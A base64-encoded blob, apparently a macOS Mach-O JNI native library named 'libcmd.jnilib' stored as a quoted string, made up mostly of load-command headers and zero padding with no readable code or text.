"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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA